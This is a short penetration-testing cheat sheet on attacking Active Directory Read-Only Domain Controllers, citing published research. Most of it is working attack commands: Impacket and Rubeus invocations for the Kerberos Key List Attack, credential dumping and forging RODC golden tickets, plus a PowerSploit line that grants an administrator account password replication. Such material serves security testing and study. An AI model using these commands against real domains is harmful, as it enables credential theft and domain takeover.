PenTest – Active Directory – Read Only Domain Controller

RODCs are an alternative for Domain Controllers in less secure physical locations – Contains a filtered copy of AD (LAPS and Bitlocker keys are excluded) – Any user or group specified in the managedBy attribute of an RODC has local admin access to the RODC server

RODC Golden Ticket

• You can forge an RODC golden ticket and present it to a writable Domain Controller only for principals listed in the RODC’s msDS-RevealOnDemandGroup attribute and not in the RODC’s msDS-NeverRevealGroup attribute

RODC Key List Attack

Requirements:

• Impacket PR #1210 – The Kerberos Key List Attack
• krbtgt credentials of the RODC (-rodcKey)
• ID of the krbtgt account of the RODC (-rodcNo)

Exploit:

• using Impacket

  # keylistattack.py using SAMR user enumeration without filtering (-full flag)
  keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
  
  # keylistattack.py defining a target username (-t flag)
  keylistattack.py -kdc server.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST
  
  # secretsdump.py using the Kerberos Key List Attack option (-use-keylist)
  secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
  

• Using Rubeus

  Rubeus.exe golden /rodcNumber:25078 /aes256:eacd894dd0d934e84de35860ce06a4fac591ca63c228ddc1c7a0ebbfa64c7545 /user:admin /id:1136 /domain:lab.local /sid:S-1-5-21-1437000690-1664695696-1586295871
  Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/lab.local /dc:dc1.lab.local /ticket:doIFgzCC[...]wIBBxhYnM=
  

RODC Computer Object

When you have one the following permissions to the RODC computer object: GenericWrite, GenericAll, WriteDacl, Owns, WriteOwner, WriteProperty.

• Add a domain admin account to the RODC’s msDS-RevealOnDemandGroup attribute

  PowerSploit> Set-DomainObject -Identity RODC$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=domain,DC=local', 'CN=Administrator,CN=Users,DC=domain,DC=local')}
  

References

• Attacking Read-Only Domain Controllers (RODCs) to Own Active Directory – Sean Metcalf
• At the Edge of Tier Zero: The Curious Case of the RODC – Elad Shamir
• The Kerberos Key List Attack: The return of the Read Only Domain Controllers – Leandro Cuozzo